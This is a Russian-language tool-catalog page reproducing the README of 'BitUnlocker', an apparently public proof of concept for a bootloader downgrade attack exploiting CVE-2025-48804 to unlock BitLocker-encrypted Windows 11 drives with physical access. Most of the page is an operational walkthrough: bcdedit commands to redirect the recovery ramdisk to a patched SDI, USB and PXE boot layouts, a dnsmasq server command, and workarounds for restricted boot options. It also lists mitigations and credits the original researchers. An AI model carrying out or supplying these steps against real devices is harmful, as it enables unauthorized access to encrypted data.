Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
BitUnlocker — Атака понижения версии для CVE-2025-48804 | Kitploit
Инструменты/GitHubGitHub/garatc/bitunlocker
Анализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеАппаратная БезопасностьRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Атака понижения версии для CVE-2025-48804

Репозиторий
2234423 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

BitUnlocker – атака понижением версии загрузчика

License: MIT

Доказательство концепции для доступа к зашифрованным BitLocker дискам менее чем за 5 минут на полностью обновлённых машинах с Windows 11 с помощью атаки понижением версии загрузчика, использующей уязвимость SDI, первоначально задокументированную как CVE-2025-48804. Июльский патч 2025 года закрывает эту уязвимость в bootmgfw.efi, поэтому любой bootmgfw.efi до установки патча, подписанный под PCA 2011, может быть использован для атаки понижения версии, если целевая система доверяет этому PCA.

Этот PoC предоставляет два метода доставки: загрузка с USB (проще и рекомендуется) и загрузка по PXE. Но теоретически можно просто скопировать загрузочный файл SDI в один из незашифрованных разделов по умолчанию (ESP или Recovery) и не заморачиваться с USB или PXE – см. таблицу «Крайние случаи».

Эта работа полностью основана на исследованиях Microsoft STORM (Netanel Ben Simon и Alon Leviev):

BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets


Необходимые условия

  • Физический доступ к устройству, зашифрованному BitLocker (только TPM, PCR 7 + 11)
  • База данных Secure Boot устройства всё ещё доверяет сертификату Microsoft Windows PCA 2011
  • USB-флешка (рекомендуется) или машина с Linux, dnsmasq и кабель Ethernet для PXE
  • Пошаговая инструкция

    1. Загрузите boot_patched.sdi из раздела Releases (или соберите свой SDI-файл, см. ниже)

    Поместите его в USB/sdi/ (для метода USB) или TFTP-root/sdi/ (для метода PXE).

    2. Подготовьте изменённый BCD

    На целевом устройстве откройте командную строку WinRE (удерживайте Shift при нажатии Перезагрузка, затем Поиск и устранение неисправностей > Командная строка — нажмите «Пропустить этот диск», когда будет запрошен ключ восстановления BitLocker, и нажмите «перезапустить», если появится сообщение о том, что командная строка не может работать на заблокированном устройстве — если командная строка всё равно не открывается, используйте свою собственную WinPE, если можете). Подключите USB-флешку и выполните:

    root@kitploit:~
    E: (или буква вашей флешки)
    bcdedit /export BCD_modded
    bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
    bcdedit /store BCD_modded /enum all
    

    В выводе найдите запись параметров устройства, описание которой — "Windows Recovery" и которая содержит ramdisksdidevice / ramdisksdipath. Запомните её GUID, затем:

    root@kitploit:~
    bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
    bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
    move BCD_modded BCD
    

    Поместите полученный файл BCD в соответствующее место в зависимости от вашего метода:

    • USB: USB/EFI/Microsoft/Boot/BCD
    • PXE: TFTP-root/Boot/BCD

    3. Загрузите целевое устройство

    Вариант A: Загрузка с USB (рекомендуется)

    Отформатируйте USB-флешку в FAT32 и скопируйте содержимое каталога USB/ в её корень (только содержимое, папки «USB» быть не должно). Флешка должна выглядеть так:

    root@kitploit:~
    Корень флешки/
    ├── EFI/
    │   ├── Boot/
    │   │   └── bootx64.efi        # Загрузчик до патча (PCA 2011)
    │   └── Microsoft/
    │       └── Boot/
    │           └── BCD             # Ваш изменённый BCD
    └── sdi/
        └── boot_patched.sdi        # Пропатченный SDI с кастомной WinRE
    

    Подключите флешку к целевому устройству и инициируйте загрузку с USB через UEFI — либо из WinRE (Использовать устройство), либо нажав клавишу меню загрузки производителя при включении (F12, F9 и т.д.). Если флешка не отображается в списке вариантов загрузки, найдите опцию "Boot from file" в меню загрузки UEFI, затем перейдите к EFI/Boot/bootx64.efi на флешке.

    Вариант B: Загрузка по PXE

    Каталог TFTP-root/ имеет следующую структуру:

    root@kitploit:~
    TFTP-root/
    ├── bootmgfw.efi                # Загрузчик до патча (PCA 2011)
    ├── Boot/
    │   └── BCD                     # Ваш изменённый BCD
    ├── EFI/
    │   └── Microsoft/
    │       └── Boot/
    │           └── bootmgfw.efi    # Тот же загрузчик до патча
    └── sdi/
        └── boot_patched.sdi        # Пропатченный SDI с кастомной WinRE
    

    Подключите целевое устройство к вашей Linux-машине через Ethernet и запустите PXE-сервер:

    root@kitploit:~
    cd BitUnlocker
    export INTERFACE=<ваш-интерфейс>
    export ABS_TFTP_ROOT=$(pwd)/TFTP-root
    
    sudo ifconfig $INTERFACE 10.13.37.1
    sudo dnsmasq --no-daemon \
      --interface="$INTERFACE" \
      --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
      --dhcp-boot=bootmgfw.efi \
      --enable-tftp \
      --tftp-root="$ABS_TFTP_ROOT" \
      --log-dhcp \
      --tftp-max=65464 \
      --port=0
    

    Запустите PXE-загрузку на целевом устройстве — в WinRE выберите Использовать устройство > IPv4 Network, или нажмите клавишу PXE-загрузки производителя.

    4. Дождитесь передачи SDI

    Загрузчик загрузит BCD, а затем начнёт скачивание boot_patched.sdi. SDI-файл большой (~300 МБ), поэтому с USB это занимает некоторое время, а по TFTP — несколько минут. На экране целевого устройства должно появиться сообщение, связанное с восстановлением, с путём к SDI, пока он загружается.

    5. Профит

    После завершения передачи должна появиться командная строка с расшифрованным и смонтированным томом ОС (обычно C: или E:). Если он не смонтировался автоматически или вы не хотите угадывать букву, просто выполните diskpart -> sel vol X (тот, который похож на ваш зашифрованный диск) -> assign letter=C (или другую букву) -> exit -> профит

    Крайние случаи

    СитуацияЧто происходит
    BitLocker настроен с PIN-кодом, который вы знаетеСиний экран при загрузке — введите PIN-код вслепую (извините, я не заморачивался со шрифтами BitLocker в этом репозитории) и нажмите Enter
    Синий экран, PIN-кода нетЦелевое устройство, вероятно, перешло на CA 2023 — нажмите Escape и дайте передаче SDI завершиться, но зашифрованный диск BitLocker, скорее всего, останется заблокированным
    Только USB-C / ThunderboltИспользуйте USB-C-накопитель или адаптер USB-Ethernet (для PXE)
    Файл TFTP не найден (кроме мусорных файлов шрифтов, которые нам не нужны)Имена файлов чувствительны к регистру — переименуйте bootmgfw.efi в соответствии с запросом цели
    Загрузка с USB или PXE запрещенаПроверьте доступный размер разделов ESP и Recovery (diskpart -> list vol). Если в одном из разделов достаточно места для предоставленного файла Boot.sdi (около 300 МБ), поместите его туда. Тогда эксплойт будет немного другим (но всё равно таким же быстрым): вам нужно будет напрямую изменить BCD-файл целевой системы (сделайте резервную копию), чтобы он указывал на незашифрованный раздел хоста (в частности, запись ramdisksdidevice в BCD), и заменить bootmgfw.efi целевой системы на тот, что предоставлен в папке TFTP этого репозитория. В этом случае убедитесь, что загрузчик цели подписан PCA 2011 (иначе эксплойт всё равно не сработает, всегда проверяйте это), иначе вы переведёте систему в режим восстановления BitLocker. Также, если места для файла Boot.sdi из этого репозитория недостаточно, можно попробовать создать свою меньшую версию — для этого есть определённые способы (см. раздел «Создайте свой собственный SDI-файл» ниже)

    Создайте свой собственный SDI-файл

    Я включил два скрипта в scripts/:

    • patch_sdi.py — создаёт модифицированный SDI-файл из boot.sdi и WinRE.wim
    • parse_sdi.py — анализирует SDI-файл для проверки его структуры и содержимого

    Файл boot_patched.sdi, предоставленный в Releases, содержит модифицированную WinRE.wim, в которой приложение запуска — cmd.exe.

    Случаи, не поддающиеся эксплуатации

    • Настроен TPM + PIN или TPM + файл-ключ, и атакующий их не знает
    • Установлено KB5025885 / загрузчик был перенесён на CA 2023 — на машинах, свежеустановленных с начала 2026 года, скорее всего, поставляется bootmgfw.efi, подписанный CA 2023. Чтобы проверить, смонтируйте раздел EFI и проверьте активный бинарник: mountvol S: /s затем sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Обратите внимание, что C:\Windows\Boot\EFI\bootmgfw.efi может отличаться от файла, который фактически используется при загрузке — всегда проверяйте копию в разделе EFI.
    • Нестандартная политика PCR — конфигурации, включающие PCR 0, 2 или 4, обнаружат изменение пути загрузки
    • PCA 2011 отозван через DBX — если старый сертификат был явно отозван

    Меры защиты

    • Включите TPM + PIN — предзагрузочный PIN-код не позволяет TPM расшифровать VMK без взаимодействия с пользователем, независимо от манипуляций с путём загрузки. Однако имейте в виду, что это не остановит инсайдера, знающего PIN-код.
    • Перейдите на Windows UEFI CA 2023 и установите KB5025885 — это полностью предотвращает атаки понижением версии

    Благодарности

    Microsoft STORM (Netanel Ben Simon и Alon Leviev) за оригинальное исследование BitUnlocker и раскрытие уязвимости.


    Лицензия

    Этот проект лицензирован в соответствии с MIT License. См. файл LICENSE для подробностей.

    Отказ от ответственности

    Этот репозиторий и всё его содержимое предоставляются строго для авторизованного тестирования безопасности и исследовательских целей. Используйте этот инструмент только на системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за любое неправомерное использование или ущерб, возникший в результате использования этого материала.

    Скачать инструмент